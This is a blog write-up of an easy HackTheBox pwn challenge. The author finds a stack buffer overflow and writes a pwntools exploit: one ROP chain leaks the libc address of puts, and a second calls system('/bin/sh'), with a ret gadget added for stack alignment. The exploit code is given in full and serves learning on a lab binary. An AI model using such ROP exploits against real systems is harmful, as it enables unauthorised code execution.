This is an easy PWN challenge from HackTheBox. Though I have some experience with PWN challenges, this was probably one of the first steps I took to get more familiar with the topic.

Challenge details:

  • Keywords: x86_64, NX, FullRELRO, ROP

  • Solution: Using a simple buffer overflow to leak GOT['puts'] with a ROP chain, and calling system('/bin/sh') with another one, after calculating addresses based on the leaked values.


Analyzing the file

First I checked the type of the file and used checksec to check if any kind of mitigations are turned on.

“File and checksec”

We got ourselves a 64bit ELF binary and it looks like we’re facing some mitigation techniques as well … NX and Full RELRO are turned on. This means I can’t simply inject shell code into memory and tampering with the GOT will not work either.

As I’ve only been doing PWN for a few months, I haven’t REALLY worked on a challenge with mitigations turned on. Naturally I was quite excited to get on the ride and do some h4xing.

I recently installed one of the dark modes for Ghidra, which gave me an awesome opportunity to try it out with the binary. This is what greeted me upon browsing to the main function.

“Ghidra dark theme”

That looks so awesome … Stepping through the functions called from main, I eventually arrived at the fill function. Or more precisely, the line inside the brackets.

“Fill function, faulty red call”

The size given to read here is too large. I’ve been studying about how the stack is organized and been looking into getting more familiar with reversing so I thought I’d try to do some math in my head:

According to Ghidra, the fill function creates 4 local “undefined8” variables. I believe that will be the buffer used by the read call but Ghidra messes up the typing. Each of those will take up 8 bytes from the stack. Which means we’re gonna have to give the function at least 32 As to overwrite the buffer.

As the 32 bytes are two groups of 16, we don’t have to account for any 16 byte alignment fillers, so the 32 bytes of local vars should be followed by the saved RBP and the Return Address right after.

According to the disassembly, 0x20 or 32 is subtracted from the RSP at the beginning. The program creates 32 bytes for the local buffer, which means I was correct about the space for the local vars … Yey.

(I’m not sure my calculations were correct because the 16 byte alignment rule works as I believe it does … that part needs further research).

“Local vars”

I gave the running program 48 As for the fill function to chew at.

  • I had to overflow the local buffer,
  • another 8 bytes to overwrite the saved RBP
  • and the final 8 bytes to mess up the return address.

“Sigsev”

Sure enough, I got a segfault ensuring the vulnerability was there. Now, the exploit development process could begin.

Creating the exploit

This is where the epic adventure began. As I said earlier, I’ve only been meddling with PWN for a few months, so I had to look up how to bypass the activated mitigation mechanisms. I found one or two articles about the topic and tried to pick up from there.

The second one is especially interesting as I’m pretty sure It’s the same challenge I was trying to solve. Because of this I didn’t check it out further than a few lines. I didn’t want to spoil the fun, I wanted to do it myself :)

Seems like I can redirect control flow so I can leak memory addresses by referencing the plt section making a puts call and do a libc database search or use the provided libc to find the address of system and /bin/sh based on the leaked addresses.

I kinda did both. I was curious if I could do it without using the provided libc, as it felt like cheating. In the write up however, I’m gonna use the provided libc to make things easier

So the first step I took was automating the reception of the process output. I read somewhere It’s a good idea to start creating your exploit as soon as you can. I used pwn-init to automatically create an exploit template but I changed it later to something that fits my taste a bit more. This is the modified starting point:

#!/usr/bin/env python3

from pwn import *

from pwn import *
from pwn import ROP
from pwn import gdb
import sys

elf = ELF("./restaurant_patched", checksec=False)
libc = ELF("./libc.so.6", checksec=False)
ld = ELF("./ld-2.27.so", checksec=False)
context.binary = elf
rop = ROP(elf)

MAIN = p64(elf.symbols['main'])
PUTS_P = p64(elf.plt['puts'])
PUTS_G = p64(elf.got['puts'])
POP_RDI = p64((rop.find_gadget(['pop rdi', 'ret']))[0])
PUTS_OFFSET = libc.symbols['_IO_puts']
SYSTEM_OFFSET = libc.symbols['system']
BIN_SH_OFFSET = next(libc.search(b'/bin/sh'))

def conn():
    r = ""
    if len(sys.argv) > 1:
        r = process([elf.path])
    else:
        r = remote("<REPLACE THIS ONE>", <THIS ONE TOO>)
    return r

def debug(_process):
    context.terminal = ["konsole"] # f*cking KDE man ... 
    gdb.attach(_process, 'b * main')

def read_menu(_process):
    read = _process.recvuntil(b"> ")
    print("\tRead menu ...")

def read_fill(_process):
    _process.sendline(b"1")
    read = _process.recvuntil(b"> ")
    print("\tRead fill menu ...")

def main():

    print("")

    p = conn()
    read_menu(p)
    read_fill(p)

    print("")

if __name__ == "__main__":
    main()

I needed a function to send my payload to the process.

The function has to send the application 40 bytes (As as it is the law) to fill up the buffer and skip over the saved RBP. After that, I have to create a ROP chain. The first gadget I need is a POP RDI gadget. This will allow me to move the required value into RDI.

For the first ROP chain, I’m gonna have to call PUTS with GOT['PUTS] as an argument. This leaks the libc address of PUTS. Based on the returned value I can get the base address of libc and add the offsets of system and /bin/sh to it to be able to call system('/bin/sh').

I created the following function to inject the payload into the process

def send_payload(_process):
    
    padding = 40*b"A" 
    payload = padding

    payload += POP_RDI
    payload += PUTS_G
    payload += PUTS_P
    payload += p64(0x0000000000400f68) # main

    _process.sendline(payload)

    print("\tSent payload ...")
  • The return address is overwritten with POP RDI. The gadget pops got['puts'] into RDI and
  • when the ret instruction executes plt['puts'] is called, leaking the got entry.
  • We also return to main afterwards to trigger the vulnerability a second time and use the addresses acquired from the leak to pop a shell

This wasn’t good enough for me though. I had to test the value with gdb. Using the following function, I converted the leaked address to something more easily readable.

def get_function_addr(_process):
    
    _process.recvline()
    
    received = _process.recvline()
    puts_addres = received.strip()[-6:] + b"\x00\x00"
    ret = int.from_bytes(puts_addres, 'little')

    print(str(hex(ret)))

    return ret

And the results were …

“Puts leaked”

YES they’re correct.

After all that, the rest was fairly simple. I just added the code that calculates the address of system and /bin/sh using the offsets I got earlier using pwntools.

The code looked something like this:

    system = puts_address - PUTS_OFFSET + SYSTEM_OFFSET
    bin_sh = puts_address - PUTS_OFFSET + BIN_SH_OFFSET

Then I had to send the next ROP payload to the application. I modified the payload sending function so that I could use it for both cases.

This is what I ended up with:

def send_payload(_process, pop_rdi, arg, adress):
    
    padding = 40*b"A" 
    payload = padding

    payload += pop_rdi
    payload += arg
    payload += adress
    payload += p64(0x0000000000400f68) # main

    _process.sendline(payload)

    print("\tSent payload ...")

Everything looked awesome, so I read the menu prompts and injected the payload. The main function ended up looking like the following:

def main():
    p = conn()
    read_menu(p)
    read_fill(p)

    send_payload(p, POP_RDI, PUTS_G, PUTS_P)

    puts_address = get_function_addr(p)

    system = puts_address - PUTS_OFFSET + SYSTEM_OFFSET 
    bin_sh = puts_address - PUTS_OFFSET + BIN_SH_OFFSET

    read_menu(p)
    read_fill(p)
    send_payload(p, POP_RDI, p64(bin_sh), p64(system))

    p.interactive()

I ran the exploit … and it crashed …

One last push (get it?)

After a time I got it working locally and I was able to get a shell reliably but it still didn’t work on the remote system. I spent so much time trying to figure out what happened …

And that’s where I decided to ask for some help. I got my answer and I’m glad I reached out to someone cause I never would’ve figured it out on my own. Apparently, while sending the second payload to the program I messed up the 16byte alignment.

How? Your payload can operate on the memory, push values etc. essentially messing up the alignment you’d have without these memory operations. This means your original approach isn’t correct either.

I finally fixed the exploit by modifying the second payload as seen below:

def send_payload2(_process, bin_sh, system):
    
    padding = 40*b"A" 
    payload = padding

    payload += POP_RDI
    payload += bin_sh
    payload += p64(0x400f67) # RET
    payload += system
    payload += p64(0x0000000000401025) # main

    _process.sendline(payload)

    print("\tSent payload2 ...")

Note the RET call.

Profit $$$

After running the fixed exploit, I finally got the flag:

“Success”

Final word and references

Solving this challenge took me like 3 entire afternoons. I needed a TON of time to understand everything about how to write a ROP chain (even though it was a small one) and some other concepts described above. I had some experience in PWN from LiveOverFlow’s videos, my university years of learning C/C++ and picking up assembly on my own but still.

Just don’t give up, keep up your curiosity and Try harder!

~ r4bbit

Final exploit code